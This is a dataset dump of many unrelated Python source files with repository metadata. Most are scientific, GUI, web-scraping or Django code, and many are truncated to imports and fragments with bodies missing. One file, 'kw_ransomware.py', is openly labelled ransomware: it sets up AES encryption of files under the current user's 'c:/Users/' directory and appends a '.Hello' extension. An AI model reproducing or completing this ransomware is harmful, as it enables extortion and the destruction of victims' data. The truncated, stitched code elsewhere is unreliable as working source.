hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
11 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
251
max_stars_repo_name
stringlengths
4
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
3
251
max_issues_repo_name
stringlengths
4
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
3
251
max_forks_repo_name
stringlengths
4
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
1
1.05M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.04M
alphanum_fraction
float64
0
1
412e848b7e0488d32c3276f0473edaef8c8bebb6
4,834
py
Python
scripts/figures/gene_abundance.py
vic-cheung/vectorseq
6f1aaeb3035c3c939b442e30076504ff84e43aa5
[ "MIT" ]
1
2022-03-30T19:56:43.000Z
2022-03-30T19:56:43.000Z
scripts/figures/gene_abundance.py
vic-cheung/vectorseq
6f1aaeb3035c3c939b442e30076504ff84e43aa5
[ "MIT" ]
null
null
null
scripts/figures/gene_abundance.py
vic-cheung/vectorseq
6f1aaeb3035c3c939b442e30076504ff84e43aa5
[ "MIT" ]
null
null
null
#%% import scanpy as sc import pandas as pd from pathlib import Path from vectorseq.utils import check_gene_abundance, create_dir from vectorseq.marker_constants import BrainGenes data_dir = Path("/spare_volume/vectorseq-data") figure_save_dir = create_dir(data_dir / "gene_abundance") #%% [markdown] # ## Gene Abundan...
30.402516
141
0.646463
41309aa7b95e9754a43f4174cd8bb81a323ae14b
9,102
py
Python
etreebrowser/graph.py
CameronJRAllan/eTree-Browser
72601450eb8538f79511715c5793a8594bdcfc80
[ "MIT" ]
1
2019-07-19T20:03:00.000Z
2019-07-19T20:03:00.000Z
etreebrowser/graph.py
CameronJRAllan/eTree-Browser
72601450eb8538f79511715c5793a8594bdcfc80
[ "MIT" ]
null
null
null
etreebrowser/graph.py
CameronJRAllan/eTree-Browser
72601450eb8538f79511715c5793a8594bdcfc80
[ "MIT" ]
null
null
null
from PyQt5 import QtWidgets, QtCore from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas from matplotlib.figure import Figure from matplotlib import rcParams rcParams['font.family'] = 'sans-serif' rcParams['font.sans-serif'] = ['Cantarell'] import matplotlib.pyplot as plt import matplotlib.p...
33.340659
128
0.614041
4130f4d682db7205fa5d7279b9c35cacaaafe8cb
319
py
Python
framework/core/error_views.py
ravique/otus-framework
46a519ff4b64c2be7fc23f8f43eefdd3b0c94512
[ "MIT" ]
null
null
null
framework/core/error_views.py
ravique/otus-framework
46a519ff4b64c2be7fc23f8f43eefdd3b0c94512
[ "MIT" ]
null
null
null
framework/core/error_views.py
ravique/otus-framework
46a519ff4b64c2be7fc23f8f43eefdd3b0c94512
[ "MIT" ]
1
2019-06-28T21:08:55.000Z
2019-06-28T21:08:55.000Z
from framework.core.template_handlers import env, render_template
26.583333
65
0.746082
413328f9159158b7e73d6e4e594f24dbc66f5d32
358
py
Python
scripts/speed.py
Maxence-Santos/space-invader
4ac359f61ab673c816005d0d85567c3227ec06a1
[ "MIT" ]
null
null
null
scripts/speed.py
Maxence-Santos/space-invader
4ac359f61ab673c816005d0d85567c3227ec06a1
[ "MIT" ]
null
null
null
scripts/speed.py
Maxence-Santos/space-invader
4ac359f61ab673c816005d0d85567c3227ec06a1
[ "MIT" ]
null
null
null
import pygame import os
27.538462
79
0.594972
4133f8869dd2769312a3bb4f13caa9cc3c94d267
821
py
Python
supermariopy/tfutils/image.py
theRealSuperMario/supermariopy
9fff8275278ff26caff50da86109c25d276bb30b
[ "MIT" ]
36
2019-07-14T16:10:37.000Z
2022-03-29T10:11:03.000Z
supermariopy/tfutils/image.py
theRealSuperMario/supermariopy
9fff8275278ff26caff50da86109c25d276bb30b
[ "MIT" ]
3
2019-10-09T15:11:13.000Z
2021-07-31T02:17:43.000Z
supermariopy/tfutils/image.py
theRealSuperMario/supermariopy
9fff8275278ff26caff50da86109c25d276bb30b
[ "MIT" ]
14
2019-08-29T14:11:54.000Z
2022-03-06T13:41:56.000Z
import tensorflow as tf def resize_bilinear(x, shape): """ Raises a warning if tensorflow version is too in order to buggy behavior References ---------- [1]: https://github.com/tensorflow/tensorflow/issues/6720 [2]: https://github.com/tensorflow/tensorflow/issues/33691 """ tf_version...
34.208333
76
0.665043
41347176b216823b2850da2216f2fdd2a2569240
1,746
py
Python
aleph/util.py
mcrouse911/findpeopleviadocument
fecb99a5c167dd281af324f8c862fda70021f081
[ "MIT" ]
null
null
null
aleph/util.py
mcrouse911/findpeopleviadocument
fecb99a5c167dd281af324f8c862fda70021f081
[ "MIT" ]
null
null
null
aleph/util.py
mcrouse911/findpeopleviadocument
fecb99a5c167dd281af324f8c862fda70021f081
[ "MIT" ]
null
null
null
# coding: utf-8 import time import random import logging from celery import Task from banal import ensure_list from normality import stringify from pkg_resources import iter_entry_points log = logging.getLogger(__name__) EXTENSIONS = {} def dict_list(data, *keys): """Get an entry as a list from a dict. Provide ...
26.059701
73
0.623711
4134733b100980a0fe17da1135eb9bebe76ac9be
495
py
Python
psola/utilities/find.py
diguo2046/psola
a45fff605c4ea75145deb4a316924026bf278f85
[ "MIT" ]
43
2018-05-23T05:45:28.000Z
2021-11-28T08:11:01.000Z
psola/utilities/find.py
diguo2046/psola
a45fff605c4ea75145deb4a316924026bf278f85
[ "MIT" ]
null
null
null
psola/utilities/find.py
diguo2046/psola
a45fff605c4ea75145deb4a316924026bf278f85
[ "MIT" ]
15
2018-05-16T04:59:30.000Z
2021-05-16T08:57:37.000Z
#!/usr/bin/env python """ psola.utilities.find Implements a function that sort-of works like MATLAB's find This is preferable to importing `find' from pylab, IMO Author: jreinhold Created on: Aug 18, 2017 """ import numpy as np def find(x): """ kind-of mimics the find command in matlab, really created ...
18.333333
59
0.660606
4136db303bfc69cac0328040053f475ee2387084
20,461
py
Python
tadpole-catcher.py
tandalesc/tadpole-catcher
5c5a7fce892aeb6f4c237ff14843fb325032b3bf
[ "BSD-3-Clause" ]
null
null
null
tadpole-catcher.py
tandalesc/tadpole-catcher
5c5a7fce892aeb6f4c237ff14843fb325032b3bf
[ "BSD-3-Clause" ]
null
null
null
tadpole-catcher.py
tandalesc/tadpole-catcher
5c5a7fce892aeb6f4c237ff14843fb325032b3bf
[ "BSD-3-Clause" ]
null
null
null
"""This module downloads all photos/videos from tadpole to a local folder.""" import os from os.path import abspath, dirname, join, isfile, isdir import re import sys import json import time import pickle import logging import logging.config from random import randrange from getpass import getpass from configparser i...
39.272553
129
0.589903
4137ed760291cec3e1fabbc437a8f67ebd69c0e3
1,598
py
Python
tests/test_primitives.py
empyriumz/openfold
12b33cc4f72ba07ef97fbc46972bc4bbb0c7ee32
[ "Apache-2.0" ]
789
2021-11-12T16:12:21.000Z
2022-03-28T05:45:19.000Z
tests/test_primitives.py
empyriumz/openfold
12b33cc4f72ba07ef97fbc46972bc4bbb0c7ee32
[ "Apache-2.0" ]
84
2021-11-12T22:23:50.000Z
2022-03-29T01:06:06.000Z
tests/test_primitives.py
empyriumz/openfold
12b33cc4f72ba07ef97fbc46972bc4bbb0c7ee32
[ "Apache-2.0" ]
114
2021-11-12T16:00:57.000Z
2022-03-27T21:32:31.000Z
# Copyright 2021 AlQuraishi Laboratory # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
29.592593
74
0.652691
4138061cddec526c0c1ef724b4f3f7ed6a87b8dc
17,315
py
Python
server/src/textannotations.py
sandernaert/brat
6468258fcb0f83e092169d8c7e88a036077aab5c
[ "CC-BY-3.0" ]
1
2017-09-25T20:53:58.000Z
2017-09-25T20:53:58.000Z
server/src/textannotations.py
sandernaert/brat
6468258fcb0f83e092169d8c7e88a036077aab5c
[ "CC-BY-3.0" ]
null
null
null
server/src/textannotations.py
sandernaert/brat
6468258fcb0f83e092169d8c7e88a036077aab5c
[ "CC-BY-3.0" ]
null
null
null
from projectconfig import TypeHierarchyNode, ProjectConfiguration from annotation import Annotations,TextLevelAnnotation, SimpleAnnotations from message import Messager from ApplicationScope import getAnnObject def get_list(path,doc): try: from os.path im...
38.222958
119
0.583483
4138547503fa6fe8d1074b5b2c7712299cb4ca8e
55
py
Python
Python Scripts/lesson_137_main.py
jessequinn/udemy_python_complete
b97e657dea2a8680557949f01ac80d3230c82c41
[ "MIT" ]
null
null
null
Python Scripts/lesson_137_main.py
jessequinn/udemy_python_complete
b97e657dea2a8680557949f01ac80d3230c82c41
[ "MIT" ]
null
null
null
Python Scripts/lesson_137_main.py
jessequinn/udemy_python_complete
b97e657dea2a8680557949f01ac80d3230c82c41
[ "MIT" ]
null
null
null
a =3 b = "tim" c = 1, 2, 3 print(a) print(b) print(c)
6.875
11
0.509091
4138a7bccc894c41843ad8dd0583587c67038959
1,466
py
Python
python/Lumniosity_Converter.py
pbrown801/aggienova-templates
24f1269bf26ab8026a27df87358f80ea8ad04933
[ "MIT" ]
2
2019-09-23T18:42:12.000Z
2019-09-30T04:17:10.000Z
python/Lumniosity_Converter.py
pbrown801/aggienova-templates
24f1269bf26ab8026a27df87358f80ea8ad04933
[ "MIT" ]
12
2019-02-20T18:38:25.000Z
2022-03-13T02:32:57.000Z
python/Lumniosity_Converter.py
pbrown801/aggienova-templates
24f1269bf26ab8026a27df87358f80ea8ad04933
[ "MIT" ]
1
2020-01-14T17:26:33.000Z
2020-01-14T17:26:33.000Z
import pandas as pd import numpy as np import math from dust_extinction.parameter_averages import F19 if __name__ == "__main__": l=Lum_conv('SN2005cs_uvot','../output/TEMPLATE/SN2005cs_uvot_SNIa_series_template.csv') # print(type(l)) # extinction_adjustment(3.1)
28.745098
112
0.677353
413b8b891d2f44221bdddfd4cafbe2d545ac748d
4,076
py
Python
bin/dotty.py
jgrip/dotfiles
78e96c3eaa1bb64d9197b23115bb1f144d4ca184
[ "Unlicense" ]
null
null
null
bin/dotty.py
jgrip/dotfiles
78e96c3eaa1bb64d9197b23115bb1f144d4ca184
[ "Unlicense" ]
null
null
null
bin/dotty.py
jgrip/dotfiles
78e96c3eaa1bb64d9197b23115bb1f144d4ca184
[ "Unlicense" ]
null
null
null
#!/usr/bin/env python3 from __future__ import print_function # Copyright (C) 2015 Vibhav Pant <vibhavp@gmail.com> # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License...
34.837607
96
0.639352
413c30019b7152204c51cd4030495eeb971c8934
2,472
py
Python
sltxpkg/config.py
EagleoutIce/sltx-inst
cb45346177c22fd5bf47f29cebf34f09f16b9a4b
[ "MIT" ]
null
null
null
sltxpkg/config.py
EagleoutIce/sltx-inst
cb45346177c22fd5bf47f29cebf34f09f16b9a4b
[ "MIT" ]
null
null
null
sltxpkg/config.py
EagleoutIce/sltx-inst
cb45346177c22fd5bf47f29cebf34f09f16b9a4b
[ "MIT" ]
null
null
null
import os import sys from pathlib import Path from sltxpkg import globals as sg from sltxpkg import util as su from sltxpkg.globals import (C_CACHE_DIR, C_CREATE_DIRS, C_DOWNLOAD_DIR, C_DRIVER_LOG, C_TEX_HOME, C_WORKING_DIR) from sltxpkg.log_control import LOGGER from sltxpkg.types import ...
32.96
91
0.636327
413c68cef2a9cdf443fb29e050740dc6fceb6953
2,896
py
Python
kw_ransomware.py
CodmingOut/SecretProjectAI
addc43117eab30a25453c18fa042739c33cc6cfb
[ "MIT" ]
null
null
null
kw_ransomware.py
CodmingOut/SecretProjectAI
addc43117eab30a25453c18fa042739c33cc6cfb
[ "MIT" ]
null
null
null
kw_ransomware.py
CodmingOut/SecretProjectAI
addc43117eab30a25453c18fa042739c33cc6cfb
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Nov 24 21:32:11 2020 @author: kw """ import glob import os, random, struct import getpass from Cryptodome.Cipher import AES if __name__ == "__main__": import time Ransom1 = makeMyRansomware(".Hello") startpath = 'c:/Users/'+Ransom1.userna...
33.287356
103
0.564917
413c7bf5865a56e3f581e75a1fa2f6a01c3109a4
4,756
py
Python
hospital/models.py
mohitkyadav/calldoc
ebdcdcfac346e995c44cbf94a3c87c25ba594ee1
[ "MIT" ]
9
2019-05-19T14:00:03.000Z
2019-05-21T14:19:56.000Z
hospital/models.py
mohitkyadav/calldoc
ebdcdcfac346e995c44cbf94a3c87c25ba594ee1
[ "MIT" ]
8
2019-05-20T12:29:08.000Z
2022-02-10T11:06:55.000Z
hospital/models.py
mohitkyadav/calldoc
ebdcdcfac346e995c44cbf94a3c87c25ba594ee1
[ "MIT" ]
1
2019-05-20T07:04:20.000Z
2019-05-20T07:04:20.000Z
import uuid from django.contrib.auth.models import User from django.db import models from django.urls import reverse from django.core.validators import MaxValueValidator, MinValueValidator, RegexValidator from landing.models import Profile
39.305785
114
0.625526
413d8e7168ec81d7fbf240777114a40652b16b3b
409
py
Python
anno-search-crawler/checker.py
powerslider/anno-search
b47ae5b4077d75622e088d3064e61934a8a3cf37
[ "Apache-2.0" ]
null
null
null
anno-search-crawler/checker.py
powerslider/anno-search
b47ae5b4077d75622e088d3064e61934a8a3cf37
[ "Apache-2.0" ]
null
null
null
anno-search-crawler/checker.py
powerslider/anno-search
b47ae5b4077d75622e088d3064e61934a8a3cf37
[ "Apache-2.0" ]
null
null
null
import os import json json_files = set() errors = set() dir = "extracted/json/" for file in os.listdir(dir): if ".json" in file: json_files.add(file) with open(dir + file, "r") as f: j = json.loads("".join(f.read())) if j["entities"] == {} or j["text"] == "": ...
22.722222
67
0.545232
413ea01cee609cb192107f94528569476162e9b2
29,112
py
Python
labpack/platforms/docker.py
collectiveacuity/labPack
c8fb0d1ee23608f6dbcb99c232373eee886000fd
[ "MIT" ]
2
2017-06-20T15:20:46.000Z
2019-11-18T01:28:49.000Z
labpack/platforms/docker.py
collectiveacuity/labPack
c8fb0d1ee23608f6dbcb99c232373eee886000fd
[ "MIT" ]
null
null
null
labpack/platforms/docker.py
collectiveacuity/labPack
c8fb0d1ee23608f6dbcb99c232373eee886000fd
[ "MIT" ]
null
null
null
__author__ = 'rcj1492' __created__ = '2016.03' __license__ = 'MIT' from labpack.handlers.requests import requestsHandler if __name__ == '__main__': # test docker client init from pprint import pprint docker_client = dockerClient() # test docker list methods images = docker_client.images...
36.897338
182
0.561384
413f75cca22078b8921f0960e0731176326021d4
947
py
Python
classical_models/util_functions.py
leejaeka/sound_classifier
121bc11522514ed45e5ad74c4c3ffdb0e87cd688
[ "Apache-2.0" ]
null
null
null
classical_models/util_functions.py
leejaeka/sound_classifier
121bc11522514ed45e5ad74c4c3ffdb0e87cd688
[ "Apache-2.0" ]
null
null
null
classical_models/util_functions.py
leejaeka/sound_classifier
121bc11522514ed45e5ad74c4c3ffdb0e87cd688
[ "Apache-2.0" ]
null
null
null
import numpy as np import pandas as pd
37.88
114
0.669483
414012d7a8b9a151ce80cbbbd219f43643543cf6
1,395
py
Python
setup.py
chembl/chembl_assay_matrix
f8f48e2fd22cde19f0bc6da3052e94952a5d7df3
[ "Apache-2.0" ]
2
2017-12-02T12:14:10.000Z
2020-09-30T17:49:37.000Z
setup.py
chembl/chembl_assay_matrix
f8f48e2fd22cde19f0bc6da3052e94952a5d7df3
[ "Apache-2.0" ]
null
null
null
setup.py
chembl/chembl_assay_matrix
f8f48e2fd22cde19f0bc6da3052e94952a5d7df3
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'mnowotka' import sys try: from setuptools import setup except ImportError: from ez_setup import use_setuptools use_setuptools() from setuptools import setup if sys.version_info < (2, 7, 3) or sys.version_info >= (2, 7, 7): raise Excepti...
32.44186
108
0.614337
41402626baceb0ad14ef7bcb1114108515c7b502
2,029
py
Python
waveshare/countdown.py
WebReflection/countdown
7ba452de33bbef4c6132c4af0071fe28f6f3e3bb
[ "0BSD" ]
6
2019-10-07T12:03:45.000Z
2019-10-10T11:41:57.000Z
waveshare/countdown.py
WebReflection/countdown
7ba452de33bbef4c6132c4af0071fe28f6f3e3bb
[ "0BSD" ]
null
null
null
waveshare/countdown.py
WebReflection/countdown
7ba452de33bbef4c6132c4af0071fe28f6f3e3bb
[ "0BSD" ]
null
null
null
#!/usr/bin/env python3 # ISC License # # Copyright (c) 2019, Andrea Giammarchi, @WebReflection # # Permission to use, copy, modify, and/or distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies. # # TH...
30.283582
79
0.73928
41406dd0b9bde817da5cd6498dd268425faf759a
4,553
py
Python
test/unit/configuration/test_configuration_from_main.py
Sam-Martin/graph-notebook
e7a8cefb93891ea19d6df4f17fe0acca3e223ae9
[ "ISC", "Apache-2.0", "CC0-1.0" ]
378
2020-11-02T23:44:37.000Z
2022-03-31T17:07:16.000Z
test/unit/configuration/test_configuration_from_main.py
Sam-Martin/graph-notebook
e7a8cefb93891ea19d6df4f17fe0acca3e223ae9
[ "ISC", "Apache-2.0", "CC0-1.0" ]
124
2020-11-07T14:35:28.000Z
2022-03-29T21:07:09.000Z
test/unit/configuration/test_configuration_from_main.py
Sam-Martin/graph-notebook
e7a8cefb93891ea19d6df4f17fe0acca3e223ae9
[ "ISC", "Apache-2.0", "CC0-1.0" ]
76
2020-11-04T03:52:08.000Z
2022-03-31T17:17:06.000Z
""" Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. SPDX-License-Identifier: Apache-2.0 """ import os import unittest from graph_notebook.configuration.generate_config import AuthModeEnum, Configuration from graph_notebook.configuration.get_config import get_config
56.9125
118
0.679113
414211e54fff763958123b81d2506325421d7750
3,201
py
Python
robotpose/constants.py
OSU-AIMS/RoPE-S3D
0deed60b0c0b46324f9ce971bcf0b0b0af88ccf5
[ "Apache-2.0" ]
1
2021-05-17T17:35:01.000Z
2021-05-17T17:35:01.000Z
robotpose/constants.py
OSU-AIMS/RoPE-S3D
0deed60b0c0b46324f9ce971bcf0b0b0af88ccf5
[ "Apache-2.0" ]
1
2021-07-27T23:49:33.000Z
2021-07-29T19:53:14.000Z
robotpose/constants.py
OSU-AIMS/RoPE-S3D
0deed60b0c0b46324f9ce971bcf0b0b0af88ccf5
[ "Apache-2.0" ]
null
null
null
# Software License Agreement (Apache 2.0 License) # # Copyright (c) 2021, The Ohio State University # Center for Design and Manufacturing Excellence (CDME) # The Artificially Intelligent Manufacturing Systems Lab (AIMS) # All rights reserved. # # Author: Adam Exley import numpy as np import logging as log MAX_LINKS = 7...
34.793478
148
0.672602
41427dc7083acbd1f30a5967de148b9aeabaff30
5,619
py
Python
Pybernate/Entity.py
lmnoel/pybernate
807750f5d3a5c356d6516ddd81edaa2210269807
[ "MIT" ]
null
null
null
Pybernate/Entity.py
lmnoel/pybernate
807750f5d3a5c356d6516ddd81edaa2210269807
[ "MIT" ]
null
null
null
Pybernate/Entity.py
lmnoel/pybernate
807750f5d3a5c356d6516ddd81edaa2210269807
[ "MIT" ]
null
null
null
from Pybernate.Exceptions import LazyInitializationException
34.685185
119
0.588005
4143ccf190301cf56eeae0f7c02717bcd229a66f
213
py
Python
molsysmt/native/old/former_topology/elements/groups/__init__.py
dprada/molsysmt
83f150bfe3cfa7603566a0ed4aed79d9b0c97f5d
[ "MIT" ]
3
2020-06-02T03:55:52.000Z
2022-03-21T04:43:52.000Z
molsysmt/native/old/former_topology/elements/groups/__init__.py
dprada/molsysmt
83f150bfe3cfa7603566a0ed4aed79d9b0c97f5d
[ "MIT" ]
28
2020-06-24T00:55:53.000Z
2021-07-16T22:09:19.000Z
molsysmt/native/old/former_topology/elements/groups/__init__.py
dprada/molsysmt
83f150bfe3cfa7603566a0ed4aed79d9b0c97f5d
[ "MIT" ]
1
2021-06-17T18:55:25.000Z
2021-06-17T18:55:25.000Z
from .group import Group from .aminoacid import AminoAcid from .nucleotide import Nucleotide from .water import Water from .ion import Ion from .cosolute import Cosolute from .small_molecule import SmallMolecule
23.666667
41
0.830986
41444b1ef7879f2253a4932d8f0e3e78f39e2fa9
101
py
Python
DCAL_utils_special/plotter_utils_consts.py
gamedaygeorge/datacube-applications-library
1b6314ee3465f9f17930391a4c241e981a9e200e
[ "Apache-2.0" ]
null
null
null
DCAL_utils_special/plotter_utils_consts.py
gamedaygeorge/datacube-applications-library
1b6314ee3465f9f17930391a4c241e981a9e200e
[ "Apache-2.0" ]
null
null
null
DCAL_utils_special/plotter_utils_consts.py
gamedaygeorge/datacube-applications-library
1b6314ee3465f9f17930391a4c241e981a9e200e
[ "Apache-2.0" ]
1
2021-02-25T14:19:05.000Z
2021-02-25T14:19:05.000Z
# The number of points to use in smooth curve fits. n_pts_smooth = 2000 default_fourier_n_harm = 10
33.666667
52
0.782178
4144ac6c76ba124c7f21052971d1bc054211eeab
447
py
Python
reads/migrations/0008_auto_20171119_0744.py
mguarascio/runnerreads-com
3bc877cf24370cf881a98a1c5915693464bc69e8
[ "MIT" ]
null
null
null
reads/migrations/0008_auto_20171119_0744.py
mguarascio/runnerreads-com
3bc877cf24370cf881a98a1c5915693464bc69e8
[ "MIT" ]
null
null
null
reads/migrations/0008_auto_20171119_0744.py
mguarascio/runnerreads-com
3bc877cf24370cf881a98a1c5915693464bc69e8
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.7 on 2017-11-19 12:44 from __future__ import unicode_literals from django.db import migrations, models
21.285714
52
0.612975
4146262f3d74196d4ad2779199fd0a16f247abbd
930
py
Python
full_metal/models.py
nightwarriorftw/alchemist
38634da50370edc07c1bae09ff05a66e92f2f8c0
[ "MIT" ]
null
null
null
full_metal/models.py
nightwarriorftw/alchemist
38634da50370edc07c1bae09ff05a66e92f2f8c0
[ "MIT" ]
null
null
null
full_metal/models.py
nightwarriorftw/alchemist
38634da50370edc07c1bae09ff05a66e92f2f8c0
[ "MIT" ]
null
null
null
from django.db import models from django.db.models.fields import related
34.444444
102
0.711828
4146c32ffd539838b9529d72258302c84167df28
1,216
py
Python
pantofola_search/tools/kickass_fetcher.py
phingage/pantofola.io
f41036d2e568a45f328e2a7ca81d76a27cd134dc
[ "WTFPL" ]
1
2018-06-09T22:20:00.000Z
2018-06-09T22:20:00.000Z
pantofola_search/tools/kickass_fetcher.py
phingage/pantofola.io
f41036d2e568a45f328e2a7ca81d76a27cd134dc
[ "WTFPL" ]
4
2020-02-11T22:01:16.000Z
2021-06-10T17:38:56.000Z
pantofola_search/tools/kickass_fetcher.py
phingage/pantofola.io
f41036d2e568a45f328e2a7ca81d76a27cd134dc
[ "WTFPL" ]
null
null
null
__author__ = 'armanini' import httplib, requests, re from urlparse import urlparse if __name__ == "__main__": main()
25.87234
95
0.589638
4148771c5460032b6e6cf71a733f1a7a81a72d62
2,893
py
Python
custom_components/localtuya/const.py
JonathanFerraz/home-assistant
15cd52f5eff850f978949406071fbe98b882918a
[ "MIT" ]
18
2016-08-10T01:02:27.000Z
2017-10-26T04:19:49.000Z
custom_components/localtuya/const.py
JonathanFerraz/home-assistant
15cd52f5eff850f978949406071fbe98b882918a
[ "MIT" ]
null
null
null
custom_components/localtuya/const.py
JonathanFerraz/home-assistant
15cd52f5eff850f978949406071fbe98b882918a
[ "MIT" ]
4
2017-04-20T19:41:21.000Z
2017-05-16T17:10:05.000Z
"""Constants for localtuya integration.""" ATTR_CURRENT = "current" ATTR_CURRENT_CONSUMPTION = "current_consumption" ATTR_VOLTAGE = "voltage" CONF_LOCAL_KEY = "local_key" CONF_PROTOCOL_VERSION = "protocol_version" CONF_DPS_STRINGS = "dps_strings" CONF_PRODUCT_KEY = "product_key" # light CONF_BRIGHTNESS_LOWER = "brig...
27.817308
56
0.807812
414999092001be652ff829a08dad85777592db23
8,098
py
Python
source/player.py
2nPlusOne/pygame-platformer
69078819280506d8ab1af4c493da22eb02b4fe01
[ "MIT" ]
null
null
null
source/player.py
2nPlusOne/pygame-platformer
69078819280506d8ab1af4c493da22eb02b4fe01
[ "MIT" ]
null
null
null
source/player.py
2nPlusOne/pygame-platformer
69078819280506d8ab1af4c493da22eb02b4fe01
[ "MIT" ]
null
null
null
import pygame from settings import * import utils
48.491018
138
0.618177
4149b0929f392e8e110537d2266f990d4929d8f0
5,054
py
Python
periodic/table.py
moopet/pyriodic
5477934881db6a00f040b9ff3624d1eca9389f36
[ "MIT" ]
null
null
null
periodic/table.py
moopet/pyriodic
5477934881db6a00f040b9ff3624d1eca9389f36
[ "MIT" ]
null
null
null
periodic/table.py
moopet/pyriodic
5477934881db6a00f040b9ff3624d1eca9389f36
[ "MIT" ]
null
null
null
from colored import fg, bg, attr from . import elements from . import layouts
30.630303
85
0.564899
4149c18516a466d5bd042367b350b07706f720b8
536
py
Python
data_model/transaction.py
chryoung/beancount_importer
664d4bf07d7b953afca4cf9fce7436c942390c52
[ "MIT" ]
2
2021-08-18T14:05:46.000Z
2021-09-24T07:44:23.000Z
data_model/transaction.py
chryoung/beancount_importer
664d4bf07d7b953afca4cf9fce7436c942390c52
[ "MIT" ]
1
2021-09-24T08:00:26.000Z
2021-10-07T10:45:28.000Z
data_model/transaction.py
chryoung/beancount_importer
664d4bf07d7b953afca4cf9fce7436c942390c52
[ "MIT" ]
null
null
null
from datetime import date from enum import IntEnum
23.304348
54
0.619403
414dbeebee592b4e49d79aec901a1680c586b5fb
3,617
py
Python
ws2122-lspm/Lib/site-packages/pm4py/statistics/concurrent_activities/pandas/get.py
Malekhy/ws2122-lspm
e4dc8b801d12f862b8ef536a0f125f346f085a00
[ "MIT" ]
1
2022-01-19T04:02:46.000Z
2022-01-19T04:02:46.000Z
ws2122-lspm/Lib/site-packages/pm4py/statistics/concurrent_activities/pandas/get.py
Malekhy/ws2122-lspm
e4dc8b801d12f862b8ef536a0f125f346f085a00
[ "MIT" ]
1
2021-11-19T07:21:48.000Z
2021-11-19T07:21:48.000Z
ws2122-lspm/Lib/site-packages/pm4py/statistics/concurrent_activities/pandas/get.py
Malekhy/ws2122-lspm
e4dc8b801d12f862b8ef536a0f125f346f085a00
[ "MIT" ]
1
2022-01-14T17:15:38.000Z
2022-01-14T17:15:38.000Z
''' This file is part of PM4Py (More Info: https://pm4py.fit.fraunhofer.de). PM4Py is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any late...
44.654321
129
0.709151
4151c5c3dbe7d9b634bc3106ccbd1a50caa1fb1f
1,120
py
Python
pipeline.py
Overnickel/eclip
8c52160d4e4418b4b1e186f30b4e06491ada9c40
[ "MIT" ]
null
null
null
pipeline.py
Overnickel/eclip
8c52160d4e4418b4b1e186f30b4e06491ada9c40
[ "MIT" ]
null
null
null
pipeline.py
Overnickel/eclip
8c52160d4e4418b4b1e186f30b4e06491ada9c40
[ "MIT" ]
1
2020-03-05T23:58:04.000Z
2020-03-05T23:58:04.000Z
import os import argparse import yaml import pprint from easydict import EasyDict as edict from download import download from read_process import read_process from de_analysis import de from cancer import cancer if __name__ == '__main__': main()
21.960784
57
0.677679
41528f11f89e17b45a8aaf9f472409371cd43c86
887
py
Python
finscraper/request.py
jmyrberg/finscraper
f90399a0c33247d3bb896ca987ef6f293609abe0
[ "MIT" ]
null
null
null
finscraper/request.py
jmyrberg/finscraper
f90399a0c33247d3bb896ca987ef6f293609abe0
[ "MIT" ]
24
2020-05-09T19:18:30.000Z
2020-11-21T22:47:39.000Z
finscraper/request.py
jmyrberg/finscraper
f90399a0c33247d3bb896ca987ef6f293609abe0
[ "MIT" ]
null
null
null
"""Module for custom Scrapy request components.""" from scrapy import Request
36.958333
77
0.668546
41533ac389ddcc893deaa3a3dea233e8a8c4234c
12,254
py
Python
tests/func/test_ignore.py
farizrahman4u/dvc
a56c8bbab662c3792ae12aa7db6c40a42a23de50
[ "Apache-2.0" ]
1
2020-08-12T22:51:45.000Z
2020-08-12T22:51:45.000Z
tests/func/test_ignore.py
farizrahman4u/dvc
a56c8bbab662c3792ae12aa7db6c40a42a23de50
[ "Apache-2.0" ]
null
null
null
tests/func/test_ignore.py
farizrahman4u/dvc
a56c8bbab662c3792ae12aa7db6c40a42a23de50
[ "Apache-2.0" ]
1
2020-11-28T11:47:48.000Z
2020-11-28T11:47:48.000Z
import os import shutil import pytest from dvc.exceptions import DvcIgnoreInCollectedDirError from dvc.ignore import ( DvcIgnore, DvcIgnoreDirs, DvcIgnorePatterns, DvcIgnorePatternsTrie, DvcIgnoreRepo, ) from dvc.path_info import PathInfo from dvc.repo import Repo from dvc.tree.local import LocalR...
31.260204
79
0.5945
41538b4330b560554f0aa682385fd505950bc0e9
1,128
py
Python
test_app.py
jeshan/hypothesis-test-python-versions
8bb26275937dc02a2a996aa2c09e9c48a3f87419
[ "BSD-2-Clause" ]
null
null
null
test_app.py
jeshan/hypothesis-test-python-versions
8bb26275937dc02a2a996aa2c09e9c48a3f87419
[ "BSD-2-Clause" ]
null
null
null
test_app.py
jeshan/hypothesis-test-python-versions
8bb26275937dc02a2a996aa2c09e9c48a3f87419
[ "BSD-2-Clause" ]
null
null
null
